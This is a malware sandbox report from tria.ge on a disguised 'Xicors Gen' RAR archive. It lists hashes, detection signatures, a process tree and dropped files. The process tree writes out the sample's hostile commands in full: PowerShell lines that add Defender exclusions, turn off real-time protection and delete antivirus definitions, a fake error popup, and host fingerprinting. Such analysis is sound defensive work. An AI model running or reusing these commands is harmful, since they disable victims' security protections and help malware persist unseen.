Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
98s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
07/10/2024, 12:10
General
-
Target
Xicors Gen(1).rar
-
Size
14.5MB
-
MD5
2620f203a75349b6924cf1e96a63f6a2
-
SHA1
cef364175e57f23e10d6bfa79912a4eb0749dc79
-
SHA256
3360f0ceb4fa0e36f3767a4aee69ecfe0098198b655a0993f9119698f45ab267
-
SHA512
00e557ea0baa40b5497d23ca072d69575a5faa872ecf3497d35e07b9e89a96c5fba923e97588e4d61381a02203aef88c5b9ed53a584e617f9f6433f1262ed821
-
SSDEEP
393216:gJJ7UvRJQak2oJd5grZjvKvUjW3BRqymxtH:F1oLCrZ6UjW3+y2tH
Malware Config
Signatures
-
pid Process 4016 powershell.exe 3684 powershell.exe 4348 powershell.exe 3076 powershell.exe -
Executes dropped EXE 4 IoCs
pid Process 4360 Gen setup V2.exe 1892 Gen setup V2.exe 5000 Gen Setup.exe 2328 Gen Setup.exe -
Loads dropped DLL 34 IoCs
pid Process 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 1892 Gen setup V2.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe 2328 Gen Setup.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 ip-api.com -
Enumerates processes with tasklist 1 TTPs 2 IoCs
pid Process 5076 tasklist.exe 1132 tasklist.exe -
resource yara_rule behavioral1/files/0x0008000000023c11-34.dat upx behavioral1/memory/1892-38-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp upx behavioral1/files/0x0008000000023bbc-40.dat upx behavioral1/files/0x0008000000023c0a-42.dat upx behavioral1/memory/1892-53-0x00007FFA9E280000-0x00007FFA9E28F000-memory.dmp upx behavioral1/files/0x000b000000023c2a-52.dat upx behavioral1/files/0x0008000000023c15-51.dat upx behavioral1/files/0x0008000000023c14-50.dat upx behavioral1/files/0x0008000000023c10-47.dat upx behavioral1/files/0x0008000000023bf8-46.dat upx behavioral1/memory/1892-43-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp upx behavioral1/files/0x0008000000023bf1-61.dat upx behavioral1/files/0x0008000000023bf0-60.dat upx behavioral1/files/0x0008000000023bef-59.dat upx behavioral1/files/0x0008000000023bee-58.dat upx behavioral1/files/0x0008000000023bed-57.dat upx behavioral1/files/0x0008000000023bec-56.dat upx behavioral1/files/0x0009000000023bbd-55.dat upx behavioral1/files/0x0008000000023bbb-54.dat upx behavioral1/memory/1892-67-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp upx behavioral1/memory/1892-70-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp upx behavioral1/memory/1892-71-0x00007FFA961A0000-0x00007FFA961C3000-memory.dmp upx behavioral1/memory/1892-73-0x00007FFA89A30000-0x00007FFA89BA7000-memory.dmp upx behavioral1/memory/1892-75-0x00007FFA98650000-0x00007FFA98669000-memory.dmp upx behavioral1/memory/1892-77-0x00007FFA9E0E0000-0x00007FFA9E0ED000-memory.dmp upx behavioral1/memory/1892-87-0x00007FFA88E80000-0x00007FFA893A2000-memory.dmp upx behavioral1/memory/1892-86-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp upx behavioral1/memory/1892-85-0x00007FFA89960000-0x00007FFA89A2D000-memory.dmp upx behavioral1/memory/1892-91-0x00007FFA9DF80000-0x00007FFA9DF8D000-memory.dmp upx behavioral1/memory/1892-90-0x00007FFA97F00000-0x00007FFA97F14000-memory.dmp upx behavioral1/memory/1892-83-0x00007FFA90580000-0x00007FFA905B3000-memory.dmp upx behavioral1/memory/1892-80-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp upx behavioral1/memory/1892-93-0x00007FFA89840000-0x00007FFA8995C000-memory.dmp upx behavioral1/memory/1892-117-0x00007FFA961A0000-0x00007FFA961C3000-memory.dmp upx behavioral1/memory/1892-118-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp upx behavioral1/memory/1892-142-0x00007FFA88E80000-0x00007FFA893A2000-memory.dmp upx behavioral1/memory/1892-141-0x00007FFA9E0E0000-0x00007FFA9E0ED000-memory.dmp upx behavioral1/memory/1892-140-0x00007FFA98650000-0x00007FFA98669000-memory.dmp upx behavioral1/memory/1892-139-0x00007FFA89A30000-0x00007FFA89BA7000-memory.dmp upx behavioral1/memory/1892-138-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp upx behavioral1/memory/1892-137-0x00007FFA961A0000-0x00007FFA961C3000-memory.dmp upx behavioral1/memory/1892-136-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp upx behavioral1/memory/1892-135-0x00007FFA9E280000-0x00007FFA9E28F000-memory.dmp upx behavioral1/memory/1892-134-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp upx behavioral1/memory/1892-133-0x00007FFA89960000-0x00007FFA89A2D000-memory.dmp upx behavioral1/memory/1892-132-0x00007FFA89840000-0x00007FFA8995C000-memory.dmp upx behavioral1/memory/1892-131-0x00007FFA9DF80000-0x00007FFA9DF8D000-memory.dmp upx behavioral1/memory/1892-130-0x00007FFA97F00000-0x00007FFA97F14000-memory.dmp upx behavioral1/memory/1892-127-0x00007FFA90580000-0x00007FFA905B3000-memory.dmp upx behavioral1/memory/2328-184-0x00007FFA9E280000-0x00007FFA9E28F000-memory.dmp upx behavioral1/memory/2328-191-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp upx behavioral1/memory/2328-192-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp upx behavioral1/memory/2328-193-0x00007FFA89A30000-0x00007FFA89BA7000-memory.dmp upx behavioral1/memory/2328-194-0x00007FFA98650000-0x00007FFA98669000-memory.dmp upx behavioral1/memory/2328-195-0x00007FFA9E0E0000-0x00007FFA9E0ED000-memory.dmp upx behavioral1/memory/2328-196-0x00007FFA89BB0000-0x00007FFA8A199000-memory.dmp upx behavioral1/memory/2328-199-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp upx behavioral1/memory/2328-198-0x00007FFA88E80000-0x00007FFA893A2000-memory.dmp upx behavioral1/memory/2328-200-0x00007FFA97F00000-0x00007FFA97F14000-memory.dmp upx behavioral1/memory/2328-201-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp upx behavioral1/memory/2328-203-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp upx behavioral1/memory/2328-204-0x00007FFA89840000-0x00007FFA8995C000-memory.dmp upx behavioral1/memory/2328-202-0x00007FFA9E320000-0x00007FFA9E32D000-memory.dmp upx behavioral1/memory/2328-228-0x00007FFA98F60000-0x00007FFA98F79000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings OpenWith.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4348 powershell.exe 4348 powershell.exe 4016 powershell.exe 4016 powershell.exe 4016 powershell.exe 4348 powershell.exe 3684 powershell.exe 3684 powershell.exe 3684 powershell.exe 3076 powershell.exe 3076 powershell.exe 3076 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeRestorePrivilege 1408 7zG.exe Token: 35 1408 7zG.exe Token: SeSecurityPrivilege 1408 7zG.exe Token: SeSecurityPrivilege 1408 7zG.exe Token: SeDebugPrivilege 4348 powershell.exe Token: SeDebugPrivilege 4016 powershell.exe Token: SeIncreaseQuotaPrivilege 4688 WMIC.exe Token: SeSecurityPrivilege 4688 WMIC.exe Token: SeTakeOwnershipPrivilege 4688 WMIC.exe Token: SeLoadDriverPrivilege 4688 WMIC.exe Token: SeSystemProfilePrivilege 4688 WMIC.exe Token: SeSystemtimePrivilege 4688 WMIC.exe Token: SeProfSingleProcessPrivilege 4688 WMIC.exe Token: SeIncBasePriorityPrivilege 4688 WMIC.exe Token: SeCreatePagefilePrivilege 4688 WMIC.exe Token: SeBackupPrivilege 4688 WMIC.exe Token: SeRestorePrivilege 4688 WMIC.exe Token: SeShutdownPrivilege 4688 WMIC.exe Token: SeDebugPrivilege 4688 WMIC.exe Token: SeSystemEnvironmentPrivilege 4688 WMIC.exe Token: SeRemoteShutdownPrivilege 4688 WMIC.exe Token: SeUndockPrivilege 4688 WMIC.exe Token: SeManageVolumePrivilege 4688 WMIC.exe Token: 33 4688 WMIC.exe Token: 34 4688 WMIC.exe Token: 35 4688 WMIC.exe Token: 36 4688 WMIC.exe Token: SeIncreaseQuotaPrivilege 4688 WMIC.exe Token: SeSecurityPrivilege 4688 WMIC.exe Token: SeTakeOwnershipPrivilege 4688 WMIC.exe Token: SeLoadDriverPrivilege 4688 WMIC.exe Token: SeSystemProfilePrivilege 4688 WMIC.exe Token: SeSystemtimePrivilege 4688 WMIC.exe Token: SeProfSingleProcessPrivilege 4688 WMIC.exe Token: SeIncBasePriorityPrivilege 4688 WMIC.exe Token: SeCreatePagefilePrivilege 4688 WMIC.exe Token: SeBackupPrivilege 4688 WMIC.exe Token: SeRestorePrivilege 4688 WMIC.exe Token: SeShutdownPrivilege 4688 WMIC.exe Token: SeDebugPrivilege 4688 WMIC.exe Token: SeSystemEnvironmentPrivilege 4688 WMIC.exe Token: SeRemoteShutdownPrivilege 4688 WMIC.exe Token: SeUndockPrivilege 4688 WMIC.exe Token: SeManageVolumePrivilege 4688 WMIC.exe Token: 33 4688 WMIC.exe Token: 34 4688 WMIC.exe Token: 35 4688 WMIC.exe Token: 36 4688 WMIC.exe Token: SeDebugPrivilege 3684 powershell.exe Token: SeDebugPrivilege 1132 tasklist.exe Token: SeIncreaseQuotaPrivilege 264 WMIC.exe Token: SeSecurityPrivilege 264 WMIC.exe Token: SeTakeOwnershipPrivilege 264 WMIC.exe Token: SeLoadDriverPrivilege 264 WMIC.exe Token: SeSystemProfilePrivilege 264 WMIC.exe Token: SeSystemtimePrivilege 264 WMIC.exe Token: SeProfSingleProcessPrivilege 264 WMIC.exe Token: SeIncBasePriorityPrivilege 264 WMIC.exe Token: SeCreatePagefilePrivilege 264 WMIC.exe Token: SeBackupPrivilege 264 WMIC.exe Token: SeRestorePrivilege 264 WMIC.exe Token: SeShutdownPrivilege 264 WMIC.exe Token: SeDebugPrivilege 264 WMIC.exe Token: SeSystemEnvironmentPrivilege 264 WMIC.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1408 7zG.exe 4200 mshta.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3648 OpenWith.exe -
Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 4360 wrote to memory of 1892 4360 Gen setup V2.exe 95 PID 4360 wrote to memory of 1892 4360 Gen setup V2.exe 95 PID 1892 wrote to memory of 4556 1892 Gen setup V2.exe 96 PID 1892 wrote to memory of 4556 1892 Gen setup V2.exe 96 PID 1892 wrote to memory of 4988 1892 Gen setup V2.exe 97 PID 1892 wrote to memory of 4988 1892 Gen setup V2.exe 97 PID 1892 wrote to memory of 4668 1892 Gen setup V2.exe 98 PID 1892 wrote to memory of 4668 1892 Gen setup V2.exe 98 PID 1892 wrote to memory of 3960 1892 Gen setup V2.exe 101 PID 1892 wrote to memory of 3960 1892 Gen setup V2.exe 101 PID 4988 wrote to memory of 4016 4988 cmd.exe 105 PID 4988 wrote to memory of 4016 4988 cmd.exe 105 PID 4668 wrote to memory of 1640 4668 cmd.exe 106 PID 4668 wrote to memory of 1640 4668 cmd.exe 106 PID 3960 wrote to memory of 5076 3960 cmd.exe 107 PID 3960 wrote to memory of 5076 3960 cmd.exe 107 PID 4556 wrote to memory of 4348 4556 cmd.exe 108 PID 4556 wrote to memory of 4348 4556 cmd.exe 108 PID 1892 wrote to memory of 3248 1892 Gen setup V2.exe 110 PID 1892 wrote to memory of 3248 1892 Gen setup V2.exe 110 PID 3248 wrote to memory of 4688 3248 cmd.exe 112 PID 3248 wrote to memory of 4688 3248 cmd.exe 112 PID 5000 wrote to memory of 2328 5000 Gen Setup.exe 114 PID 5000 wrote to memory of 2328 5000 Gen Setup.exe 114 PID 2328 wrote to memory of 3448 2328 Gen Setup.exe 115 PID 2328 wrote to memory of 3448 2328 Gen Setup.exe 115 PID 2328 wrote to memory of 3044 2328 Gen Setup.exe 116 PID 2328 wrote to memory of 3044 2328 Gen Setup.exe 116 PID 2328 wrote to memory of 3952 2328 Gen Setup.exe 117 PID 2328 wrote to memory of 3952 2328 Gen Setup.exe 117 PID 2328 wrote to memory of 648 2328 Gen Setup.exe 121 PID 2328 wrote to memory of 648 2328 Gen Setup.exe 121 PID 2328 wrote to memory of 1656 2328 Gen Setup.exe 122 PID 2328 wrote to memory of 1656 2328 Gen Setup.exe 122 PID 3044 wrote to memory of 3684 3044 cmd.exe 126 PID 3044 wrote to memory of 3684 3044 cmd.exe 126 PID 648 wrote to memory of 1132 648 cmd.exe 127 PID 648 wrote to memory of 1132 648 cmd.exe 127 PID 1656 wrote to memory of 264 1656 cmd.exe 128 PID 1656 wrote to memory of 264 1656 cmd.exe 128 PID 3448 wrote to memory of 3076 3448 cmd.exe 129 PID 3448 wrote to memory of 3076 3448 cmd.exe 129 PID 3952 wrote to memory of 4200 3952 cmd.exe 130 PID 3952 wrote to memory of 4200 3952 cmd.exe 130
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Xicors Gen(1).rar"1⤵
- Modifies registry class
PID:2416
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3648
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3876
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\Xicors Gen(1)\" -spe -an -ai#7zMap6590:84:7zEvent269751⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1408
-
C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe"C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe"C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen setup V2.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4016
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('contact support', 0, 'oof error', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('contact support', 0, 'oof error', 0+16);close()"4⤵PID:1640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:5076
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4688
-
-
-
-
C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe"C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe"C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:3448 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Gen! (USE THIS)\Gen Setup.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3076
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3684
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Contact xicorsellz on discord for support.', 0, 'Error 872 (Please flash bios or downgrade your OS)', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Contact xicorsellz on discord for support.', 0, 'Error 872 (Please flash bios or downgrade your OS)', 0+16);close()"4⤵
- Suspicious use of FindShellTrayWindow
PID:4200
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1132
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:264
-
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Key locker! (DO NOT TOUCH)\Key!\New Text Document.txt1⤵PID:3896
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Files! (DO NOT FUCK WITH)\Scripts.txt1⤵PID:4276
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Files! (DO NOT FUCK WITH)\Key system code.txt1⤵PID:704
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Xicors Gen(1)\Xicors Gen\Files! (DO NOT FUCK WITH)\Java code 1.txt1⤵PID:4164
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
-
Filesize
106KB
MD54585a96cc4eef6aafd5e27ea09147dc6
SHA1489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA256a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
SHA512d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
-
Filesize
48KB
MD520a7ecfe1e59721e53aebeb441a05932
SHA1a91c81b0394d32470e9beff43b4faa4aacd42573
SHA2567ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8
SHA51299e5d877d34ebaaaeb281c86af3fff9d54333bd0617f1366e3b4822d33e23586ef9b11f4f7dd7e1e4a314c7a881f33123735294fe8af3a136cd10f80a9b8d902
-
Filesize
58KB
MD55006b7ea33fce9f7800fecc4eb837a41
SHA1f6366ba281b2f46e9e84506029a6bdf7948e60eb
SHA2568f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81
SHA512e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c
-
Filesize
106KB
MD5d0231f126902db68d7f6ca1652b222c0
SHA170e79674d0084c106e246474c4fb112e9c5578eb
SHA25669876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351
SHA512b6b6bfd5fde200a9f45aeb7f6f845eac916feeef2e3fca54e4652e1f19d66ae9817f1625ce0ed79d62e504377011ce23fd95a407fbdbaa6911a09e48b5ef4179
-
Filesize
35KB
MD5a81e0df35ded42e8909597f64865e2b3
SHA16b1d3a3cd48e94f752dd354791848707676ca84d
SHA2565582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185
SHA5122cda7348faffabc826fb7c4eddc120675730077540f042d6dc8f5e6921cf2b9cb88afcd114f53290aa20df832e3b7a767432ea292f6e5b5b5b7d0e05cf8905a6
-
Filesize
85KB
MD5f8b61629e42adfe417cb39cdbdf832bb
SHA1e7f59134b2bf387a5fd5faa6d36393cbcbd24f61
SHA2567a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320
SHA51258d2882a05289b9d17949884bf50c8f4480a6e6d2b8bd48dfdbcb03d5009af64abf7e9967357aeebf95575d7ef434a40e8ad07a2c1fe275d1a87aa59dcc702d6
-
Filesize
25KB
MD50da22ccb73cd146fcdf3c61ef279b921
SHA1333547f05e351a1378dafa46f4b7c10cbebe3554
SHA256e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0
SHA5129eece79511163eb7c36a937f3f2f83703195fc752b63400552ca03d0d78078875ff41116ebaeb05c48e58e82b01254a328572096a17aaad818d32f3d2d07f436
-
Filesize
43KB
MD5c12bded48873b3098c7a36eb06b34870
SHA1c32a57bc2fc8031417632500aa9b1c01c3866ade
SHA2566c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa
SHA512335510d6f2f13fb2476a5a17445ca6820c86f7a8a8650f4fd855dd098d022a16c80a8131e04212fd724957d8785ad51ccaff532f2532224ccfd6ce44f4e740f9
-
Filesize
56KB
MD563618d0bc7b07aecc487a76eb3a94af8
SHA153d528ef2ecbe8817d10c7df53ae798d0981943a
SHA256e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b
SHA5128280f0f6afc69a82bc34e16637003afb61fee5d8f2cab80be7d66525623ec33f1449b0cc8c96df363c661bd9dbc7918a787ecafaaa5d2b85e6cafdcf0432d394
-
Filesize
65KB
MD5e52dbaeba8cd6cadf00fea19df63f0c1
SHA1c03f112ee2035d0eaab184ae5f9db89aca04273a
SHA256eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead
SHA51210eef8fd49e2997542e809c4436ad35dcc6b8a4b9b4313ad54481daef5f01296c9c5f6dedad93fb620f267aef46b0208deffbad1903593fd26fd717a030e89e8
-
Filesize
1.4MB
MD5d220b7e359810266fe6885a169448fa0
SHA1556728b326318b992b0def059eca239eb14ba198
SHA256ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d
SHA5128f802c2e717b0cb47c3eeea990ffa0214f17d00c79ce65a0c0824a4f095bde9a3d9d85efb38f8f2535e703476cb6f379195565761a0b1d738d045d7bb2c0b542
-
Filesize
124KB
MD509445aaf5c38343e562d8770a6efddbf
SHA1cea234756910fcdbab2487852e1051f9304d0584
SHA25603f2ad775088967f6c1e984b05431cd636c59c8115e818a0073751fbc75c1517
SHA5129f3b1c547240c490f9baec36ff058cceccd1c5ebab94159f3fb9d987e0a23b3b2caaa7baf0c95ee41cc628e937abcc14386994772adc725230dea6ac7fa7cdcc
-
Filesize
124KB
MD5c19c38f57dc495dfe8eb374e0201bffa
SHA15c5b2dd521de5304d4fcae64bd9168954682629d
SHA2560226b6f9d5652fbc2e6b51379043c93f76a2778454b21f24a19d9f829f5353cc
SHA51279a9ca94fd6bea97ae6852be383d0ec8e582f53e8746e0f693fc250a16b44c61128005187f659b90696288082222f3c27546d5e6ec39b6bdab34682cdd65422d
-
Filesize
1.6MB
MD527515b5bb912701abb4dfad186b1da1f
SHA13fcc7e9c909b8d46a2566fb3b1405a1c1e54d411
SHA256fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a
SHA512087dfdede2a2e6edb3131f4fde2c4df25161bee9578247ce5ec2bce03e17834898eb8d18d1c694e4a8c5554ad41392d957e750239d3684a51a19993d3f32613c
-
Filesize
29KB
MD508b000c3d990bc018fcb91a1e175e06e
SHA1bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA5128820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf
-
Filesize
223KB
MD56eda5a055b164e5e798429dcd94f5b88
SHA12c5494379d1efe6b0a101801e09f10a7cb82dbe9
SHA256377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8
